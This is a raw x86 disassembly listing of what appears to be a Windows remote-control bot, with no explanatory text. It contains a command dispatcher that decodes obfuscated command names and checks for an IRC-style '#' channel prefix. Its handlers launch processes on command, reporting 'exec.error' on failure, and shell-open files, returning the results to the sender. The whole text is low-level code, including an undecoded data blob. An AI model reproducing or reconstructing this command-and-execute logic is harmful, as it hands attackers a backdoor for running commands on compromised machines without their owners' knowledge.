db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403CE0 proc near ; CODE XREF: sub_40222Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403CE0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_40142E
lea ecx, [esi+1Eh]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+33h]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403CE0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403D60 proc near ; CODE XREF: sub_401AE6j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403D60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+33h]
mov [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+1Eh]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403D60 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403DE0 proc near ; CODE XREF: sub_401753j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403DE0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_40142E
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_40142E
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403DE0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403E50 proc near ; CODE XREF: sub_4011A4j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403E50
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_40222A
lea ecx, [esi+49h]
mov [esp+14h+var_4], 0
call sub_40222A
lea ecx, [esi+92h]
mov byte ptr [esp+14h+var_4], 1
call sub_40222A
lea ecx, [esi+0DBh]
mov byte ptr [esp+14h+var_4], 2
call sub_40222A
lea ecx, [esi+124h]
mov byte ptr [esp+14h+var_4], 3
call sub_40222A
lea ecx, [esi+16Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_40222A
lea ecx, [esi+1B6h]
mov byte ptr [esp+14h+var_4], 5
call sub_40222A
lea ecx, [esi+1FFh]
mov byte ptr [esp+14h+var_4], 6
call sub_40222A
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403E50 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403F30 proc near ; CODE XREF: sub_40208Bj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403F30
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+1FFh]
mov [esp+14h+var_4], 6
call sub_401AE6
lea ecx, [esi+1B6h]
mov byte ptr [esp+14h+var_4], 5
call sub_401AE6
lea ecx, [esi+16Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_401AE6
lea ecx, [esi+124h]
mov byte ptr [esp+14h+var_4], 3
call sub_401AE6
lea ecx, [esi+0DBh]
mov byte ptr [esp+14h+var_4], 2
call sub_401AE6
lea ecx, [esi+92h]
mov byte ptr [esp+14h+var_4], 1
call sub_401AE6
lea ecx, [esi+49h]
mov byte ptr [esp+14h+var_4], 0
call sub_401AE6
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401AE6
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403F30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_404010 proc near ; CODE XREF: sub_401D48j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_404010
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
push ebp
push esi
push edi
push 0
push 4
push 9
push 4Fh
lea eax, [esp+70h+var_3C]
push 2
mov esi, ecx
push eax
call sub_4019C4
add esp, 18h
push esi
mov ecx, eax
mov [esp+64h+var_4], 0
call sub_4017EE
lea ecx, [esi+0C29h]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_404010 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Bh
push 3
push 9
push 0Eh
push 4
push 0Eh
push 12h
push 4Fh
lea edx, [esp+48h]
push 2
push edx
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 1
call sub_4017EE
push eax
lea eax, [esi+0BCDh]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 14h
push 15h
push 0Fh
push 2
push 1
push 4Fh
lea ecx, [esp+40h]
push 2
push ecx
call sub_4019C4
add esp, 24h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 2
call sub_4017EE
lea edx, [esi+0C57h]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 12h
push 15h
push 3
push 5
push 13h
push 4Fh
lea eax, [esp+44h]
push 2
push eax
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 3
call sub_4017EE
lea ecx, [esi+0DF5h]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Fh
push 6
push 0Eh
push 9
push 13h
push 19h
push 13h
push 4Fh
lea edx, [esp+48h]
push 2
push edx
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 4
call sub_4017EE
push eax
lea eax, [esi+0C85h]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 16h
push 0Fh
push 0Dh
push 5
push 12h
push 4Fh
lea ecx, [esp+44h]
push 2
push ecx
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 5
call sub_4017EE
lea edx, [esi+0B71h]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 13h
push 0Eh
push 4
push 8
push 13h
push 15h
push 0Ch
push 6
push 4Fh
lea eax, [esp+4Ch]
push 2
push eax
call sub_4019C4
add esp, 30h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 6
call sub_4017EE
lea ecx, [esi+0DC7h]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Eh
push 5
push 10h
push 0Fh
push 4Fh
lea edx, [esp+3Ch]
push 2
push edx
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 7
call sub_4017EE
push eax
lea eax, [esi+0D0Fh]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 14h
push 9
push 15h
push 11h
push 4Fh
lea ecx, [esp+3Ch]
push 2
push ecx
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 8
call sub_4017EE
lea edx, [esi+0D99h]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 4
push 0Dh
push 3
push 4Fh
lea eax, [esp+38h]
push 2
push eax
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 9
call sub_4017EE
lea ecx, [esi+0E23h]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 18h
push 5
push 4Fh
lea edx, [esp+38h]
push 2
push edx
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Ah
call sub_4017EE
push eax
lea eax, [esi+0D6Bh]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 13h
push 0Eh
push 4
push 4Fh
lea ecx, [esp+38h]
push 2
push ecx
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Bh
call sub_4017EE
lea edx, [esi+0D3Dh]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 0Dh
push 9
push 14h
push 10h
push 15h
push 0Ch
push 4Fh
lea eax, [esp+48h]
push 2
push eax
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Ch
call sub_4017EE
push eax
lea ecx, [esi+0CB3h]
push ecx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Bh
push 3
push 9
push 0Eh
push 4Fh
lea edx, [esp+3Ch]
push 2
push edx
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Dh
call sub_4017EE
push eax
lea eax, [esi+0CE1h]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
db 8Dh, 4Ch, 24h
dd 247C8924h, 0CDD0E85Ch, 4E8DFFFFh, 0D390E809h, 4C8DFFFFh
dd 51500C24h, 0FFDBD7E8h, 6A006AFFh, 6A1D6A25h, 24548D23h
dd 52286A3Ch, 7C2444C7h, 0Eh, 0FFD53FE8h, 20C483FFh, 4C8DE88Bh
dd 44C60C24h, 0E80F5C24h, 0FFFFD356h, 0E8CD8B50h, 0FFFFD34Eh
dd 45F46850h, 85680044h, 0E8004D80h, 0FFFFD974h, 8D10C483h
dd 0C624244Ch, 0E5C2444h, 0FFCD65E8h, 8D206AFFh, 6A402444h
dd 4C8D5000h, 0DFE81824h, 8BFFFFCDh, 2444C6C8h, 0FE8105Ch
dd 50FFFFD3h, 4445F068h, 8E556800h, 3EE8004Eh, 83FFFFCBh
dd 4C8D0CC4h, 44C63C24h, 0E80E5C24h, 0FFFFCD26h, 0C7CCE890h
dd 0C88B023Dh, 624DD3B8h, 0C1E1F710h, 4C8D06EAh, 56890C24h
dd 247C8905h, 0CD04E85Ch, 4C8BFFFFh, 5E5F5424h, 0D89645Dh
dd 0
; ---------------------------------------------------------------------------
add esp, 54h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 150h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404690 proc near ; CODE XREF: sub_401A41j
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push 0FFFFFFFFh
push offset SEH_404690
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 7Ch
push ebx
push ebp
push esi
mov esi, [esp+94h+arg_0]
mov ebp, ecx
push edi
lea ebx, [esi+2Ah]
push 0
mov ecx, ebx
mov [esp+9Ch+var_88], ebp
call sub_401479
mov cl, [eax]
lea edi, [esi+69h]
cmp cl, 23h
jnz short loc_4046D2
push ebx
jmp short loc_4046D6
; ---------------------------------------------------------------------------
loc_4046D2: ; CODE XREF: sub_404690+3Dj
lea eax, [esi+15h]
push eax
loc_4046D6: ; CODE XREF: sub_404690+40j
mov ecx, edi
call sub_401FDC
mov al, [esi+94h]
test al, al
jz short loc_4046F2
lea ecx, [esi+15h]
push ecx
mov ecx, edi
call sub_401FDC
loc_4046F2: ; CODE XREF: sub_404690+55j
mov al, [esi+95h]
test al, al
jz short loc_40476F
lea ecx, [esp+98h+var_6C]
call sub_40142E
push offset aO ; " -o"
mov ecx, esi
mov [esp+9Ch+var_4], 0
call sub_4013ED
add eax, 3
lea edx, [esp+98h+var_54]
push eax
push edx
mov ecx, esi
call sub_401E47
push eax
lea ecx, [esp+9Ch+var_6C]
mov byte ptr [esp+9Ch+var_4], 1
call sub_401FDC
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], 0
call sub_401226
lea eax, [esp+98h+var_6C]
mov ecx, edi
push eax
call sub_401FDC
lea ecx, [esp+98h+var_6C]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
loc_40476F: ; CODE XREF: sub_404690+6Aj
push offset asc_444600 ; " "
lea ecx, [esp+9Ch+var_6C]
push 0
push ecx
mov ecx, esi
call sub_4016B8
lea edx, [esp+98h+var_54]
mov ebx, 2
push 1
push edx
mov ecx, eax
mov [esp+0A0h+var_4], ebx
call sub_401E47
lea edi, [esi+7Eh]
push eax
mov ecx, edi
mov byte ptr [esp+9Ch+var_4], 3
call sub_401FDC
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], bl
call sub_401226
lea ecx, [esp+98h+var_6C]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
push 0
lea ecx, [ebp+32Ch]
call sub_401479
push 0
mov ecx, esi
mov ebp, eax
call sub_401479
mov al, [eax]
mov cl, [ebp+0]
cmp al, cl
jnz loc_404A3A
push 0
push 14h
push 1
push 5
push 10h
push 5
push 12h
push 4Eh
push 14h
push 0Fh
lea ecx, [esp+0C0h+var_54]
push ebx
push ecx
call sub_4019C4
add esp, 30h
mov ecx, eax
mov [esp+98h+var_4], 4
call sub_4017EE
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_40485F
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+0B0h+arg_0], esp
push edx
call sub_4014D3
mov ecx, offset word_44AC6E
call sub_401CE4
test eax, eax
jz short loc_40485F
mov bl, 1
jmp short loc_404861
; ---------------------------------------------------------------------------
loc_40485F: ; CODE XREF: sub_404690+1A6j
; sub_404690+1C9j
xor bl, bl
loc_404861: ; CODE XREF: sub_404690+1CDj
lea ecx, [esp+98h+var_54]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
test bl, bl
jz loc_404A1E
push offset asc_444600 ; " "
lea eax, [esp+9Ch+var_54]
push 1
push eax
mov ecx, esi
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov [esp+9Ch+var_4], 5
call sub_4012EE
test eax, eax
lea ecx, [esp+98h+var_54]
mov [esp+98h+var_4], 0FFFFFFFFh
setz bl
call sub_401226
test bl, bl
jnz loc_404A3A
push offset asc_444600 ; " "
lea ecx, [esp+9Ch+var_54]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+98h+var_4], 6
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+98h+var_54]
mov ebp, eax
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
test ebp, ebp
jz loc_404A3A
push 20h
mov ecx, esi
call sub_401D34
lea edx, [esp+98h+var_84]
push eax
push edx
mov ecx, esi
call sub_401E47
mov ebx, 7
push 20h
lea ecx, [esp+9Ch+var_84]
mov [esp+9Ch+var_4], ebx
call sub_401D34
push eax
lea eax, [esp+9Ch+var_54]
push eax
lea ecx, [esp+0A0h+var_84]
call sub_401E47
push eax
lea ecx, [esp+9Ch+var_84]
mov byte ptr [esp+9Ch+var_4], 8
call sub_40202C
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], bl
call sub_401226
lea ecx, [esp+98h+var_84]
push ecx
mov ecx, esi
call sub_401FDC
push offset asc_444600 ; " "
lea edx, [esp+9Ch+var_24]
push 0
push edx
mov ecx, esi
call sub_4016B8
lea ecx, [esp+98h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+0A0h+var_4], 9
call sub_401E47
push eax
mov ecx, edi
mov byte ptr [esp+9Ch+var_4], 0Ah
call sub_401FDC
lea ecx, [esp+98h+var_3C]
mov byte ptr [esp+98h+var_4], 9
call sub_401226
lea ecx, [esp+98h+var_24]
mov byte ptr [esp+98h+var_4], bl
call sub_401226
mov al, [esp+98h+arg_4]
test al, al
jnz short loc_4049F7
test ebp, ebp
jle short loc_404A08
loc_4049E8: ; CODE XREF: sub_404690+363j
mov ecx, [esp+98h+var_88]
push esi
call sub_401F87
dec ebp
jnz short loc_4049E8
jmp short loc_404A08
; ---------------------------------------------------------------------------
loc_4049F7: ; CODE XREF: sub_404690+352j
test ebp, ebp
jle short loc_404A08
loc_4049FB: ; CODE XREF: sub_404690+376j
mov ecx, [esp+98h+var_88]
push esi
call sub_40144C
dec ebp
jnz short loc_4049FB
loc_404A08: ; CODE XREF: sub_404690+356j
; sub_404690+365j ...
lea ecx, [esp+98h+var_84]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
jmp short loc_404A3A
; ---------------------------------------------------------------------------
loc_404A1E: ; CODE XREF: sub_404690+1E7j
mov al, [esp+98h+arg_4]
mov ecx, [esp+98h+var_88]
test al, al
push esi
jnz short loc_404A35
call sub_401F87
jmp short loc_404A3A
; ---------------------------------------------------------------------------
loc_404A35: ; CODE XREF: sub_404690+39Cj
call sub_40144C
loc_404A3A: ; CODE XREF: sub_404690+162j
; sub_404690+232j ...
mov ecx, [esp+98h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 88h
retn 8
sub_404690 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404B60 proc near ; CODE XREF: sub_401F87j
arg_0 = dword ptr 4
push esi
push edi
mov edi, ecx
mov ecx, offset word_44AC72
call sub_4014DD
mov esi, [esp+8+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jz short loc_404BA6
sub esp, 18h
lea eax, [esi+15h]
mov ecx, esp
mov [esp+20h+arg_0], esp
push eax
call sub_4014D3
mov ecx, offset word_44AC6E
call sub_401CE4
test eax, eax
jnz short loc_404BA6
xor al, al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_404BA6: ; CODE XREF: sub_404B60+1Dj
; sub_404B60+3Dj
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+20h+arg_0], esp
push edx
call sub_4014D3
mov ecx, offset word_44AC6E
call sub_401CE4
test eax, eax
jnz short loc_404BE6
mov al, [edi+469h]
test al, al
jz short loc_404BE6
push 0
lea ecx, [esi+2Ah]
call sub_401479
cmp byte ptr [eax], 23h
jz short loc_404BE6
xor al, al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_404BE6: ; CODE XREF: sub_404B60+64j
; sub_404B60+6Ej ...
push esi
mov ecx, edi
call sub_40144C
pop edi
pop esi
retn 4
sub_404B60 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404C30 proc near ; CODE XREF: sub_40144Cj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 1
lea ecx, [esi+7Eh]
call sub_4017EE
push eax
mov ecx, offset dword_449128
call sub_401B04
test eax, eax
jz short loc_404C5A
mov ecx, [eax+2Ah]
push esi
mov eax, [ecx]
call dword ptr [eax]
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_404C5A: ; CODE XREF: sub_404C30+1Cj
xor al, al
pop esi
retn 4
sub_404C30 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404C70 proc near ; CODE XREF: sub_40186Bj
push esi
push edi
mov edi, dword_5118AC
mov esi, ecx
call edi
mov edx, dword_4D80A9
mov ecx, [esi+421h]
sub eax, edx
cmp eax, ecx
jbe short loc_404C9F
mov ecx, offset byte_4D8085
call sub_401D20
call edi
mov dword_4D80A9, eax
loc_404C9F: ; CODE XREF: sub_404C70+1Cj
pop edi
mov al, 1
pop esi
retn
sub_404C70 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404CC0 proc near ; CODE XREF: sub_4017D0j
var_1B4 = dword ptr -1B4h
var_1B0 = byte ptr -1B0h
var_1AC = dword ptr -1ACh
var_1A8 = byte ptr -1A8h
var_198 = byte ptr -198h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_17C = dword ptr -17Ch
var_178 = byte ptr -178h
var_168 = dword ptr -168h
var_164 = byte ptr -164h
var_14D = byte ptr -14Dh
var_14C = byte ptr -14Ch
var_130 = byte ptr -130h
var_11C = byte ptr -11Ch
var_104 = dword ptr -104h
var_100 = byte ptr -100h
var_D0 = dword ptr -0D0h
var_A0 = byte ptr -0A0h
var_8C = byte ptr -8Ch
var_54 = byte ptr -54h
var_50 = byte ptr -50h
var_48 = byte ptr -48h
var_30 = byte ptr -30h
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_404CC0
push eax
mov large fs:0, esp
sub esp, 15Ch
push ebx
push ebp
push esi
mov esi, [esp+174h+arg_0]
push edi
mov edi, ecx
lea ebp, [esi+7Eh]
lea ecx, [edi+0C29h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_404D34
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [edi+2E3h]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D8085
call sub_401118
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_404D34: ; CODE XREF: sub_404CC0+40j
lea ecx, [edi+0D6Bh]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_404EC5
push 1
push offset asc_444600 ; " "
lea edx, [esp+180h+var_14C]
push 2
push edx
mov ecx, esi
call sub_4011EA
push offset asc_444600 ; " "
lea eax, [esp+17Ch+var_100]
push 1
push eax
mov ecx, esi
mov [esp+184h+var_4], 0
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+178h+var_4], 1
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
cmp eax, 1
lea ecx, [esp+178h+var_100]
mov byte ptr [esp+178h+var_4], 0
setz bl
call sub_401226
lea ecx, [esp+178h+var_164]
call sub_40142E
push 2000h
push 2000h
lea ecx, [esp+180h+var_164]
mov byte ptr [esp+180h+var_4], 2
call sub_401C71
push eax
lea ecx, [esp+180h+var_14C]
call sub_4017EE
push eax
nop
call near ptr 2800000h
lea ecx, [esp+178h+var_164]
push ecx
lea ecx, [esp+17Ch+var_14C]
call sub_401FDC
mov ecx, 11h
xor eax, eax
lea edi, [esp+178h+var_D0]
lea edx, [esp+178h+var_11C]
rep stosd
lea eax, [esp+178h+var_D0]
push edx
push eax
push 0
neg bl
push 0
push 28h
sbb ebx, ebx
push 1
and ebx, 5
push 0
push 0
lea ecx, [esp+198h+var_14C]
mov [esp+198h+var_D0], 44h
mov word ptr [esp+198h+var_A0], bx
call sub_4014DD
push eax
push 0
nop
call near ptr 27F0462h
test eax, eax
jnz short loc_404E99
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push offset aExec_error ; "exec.error"
push ecx
push edx
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 0
call sub_401226
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
jmp loc_4056B8
; ---------------------------------------------------------------------------
loc_404E99: ; CODE XREF: sub_404CC0+18Cj
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 0
call sub_401226
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_404EC5: ; CODE XREF: sub_404CC0+89j
lea ecx, [edi+0B71h]
call sub_4014DD
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_404F74
push 1
push offset asc_444600 ; " "
lea eax, [esp+180h+var_164]
push 1
push eax
mov ecx, esi
call sub_4011EA
mov ecx, offset byte_4E8E55
mov [esp+178h+var_4], 3
call sub_4017EE
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4012EE
test eax, eax
jnz short loc_404F60
mov al, byte_4498A6
test al, al
jz short loc_404F30
push offset dword_449844
mov ecx, offset dword_44AD80
call sub_401451
loc_404F30: ; CODE XREF: sub_404CC0+25Fj
mov al, byte_4498EF
test al, al
jz short loc_404F48
push offset byte_44991F
mov ecx, offset dword_44AD80
call sub_401951
loc_404F48: ; CODE XREF: sub_404CC0+277j
mov ecx, offset dword_44AD80
call sub_401E79
mov byte_4D809C, 0
mov byte_4E8E54, 0
loc_404F60: ; CODE XREF: sub_404CC0+256j
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_164]
jmp loc_4056B8
; ---------------------------------------------------------------------------
loc_404F74: ; CODE XREF: sub_404CC0+21Aj
lea ecx, [edi+0C57h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_404FBC
lea ecx, [esi+69h]
call sub_4014DD
push eax
mov ecx, offset word_4E8E6A
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
mov ecx, offset byte_4D8085
call sub_401118
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_404FBC: ; CODE XREF: sub_404CC0+2C9j
lea ecx, [edi+0DC7h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405076
push eax
push 13h
push 0Eh
push 4
push 8
push 13h
push 15h
push 0Ch
push 6
lea eax, [esp+19Ch+var_14C]
push 50h
push eax
call sub_4019C4
mov esi, eax
push 0
push 5
push 18h
push 5
push 4Eh
push 7
push 9
push 6
push 0Eh
push 0Fh
push 3
push 10h
lea ecx, [esp+1D4h+var_164]
push 9
push ecx
mov [esp+1DCh+var_4], 4
call sub_4019C4
add esp, 64h
mov edi, eax
mov ecx, esi
mov byte ptr [esp+178h+var_4], 5
call sub_4017EE
push eax
mov ecx, edi
call sub_4017EE
push eax
call sub_401299
add esp, 8
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 4
call sub_401226
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_405076: ; CODE XREF: sub_404CC0+311j
lea ecx, [edi+0D0Fh]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405194
lea ecx, [esp+178h+var_14C]
call sub_40142E
push offset asc_444600 ; " "
lea edx, [esp+17Ch+var_11C]
push 1
push edx
mov ecx, esi
mov [esp+184h+var_4], 6
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+178h+var_4], 7
call sub_4017EE
push eax
lea ecx, [esp+17Ch+var_14C]
call sub_401A9B
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], 6
call sub_401226
lea ecx, [esp+178h+var_164]
call sub_40142E
push 1
mov bl, 8
push 0
push 0
lea ecx, [esp+184h+var_14C]
mov byte ptr [esp+184h+var_4], bl
call sub_4017EE
push eax
push offset aOpen ; "open"
push 0
nop
call near ptr 7CA41110h
movsx eax, al
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_402112
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], 9
push ecx
lea ecx, [esp+17Ch+var_164]
call sub_40202C
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 6
call sub_401226
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
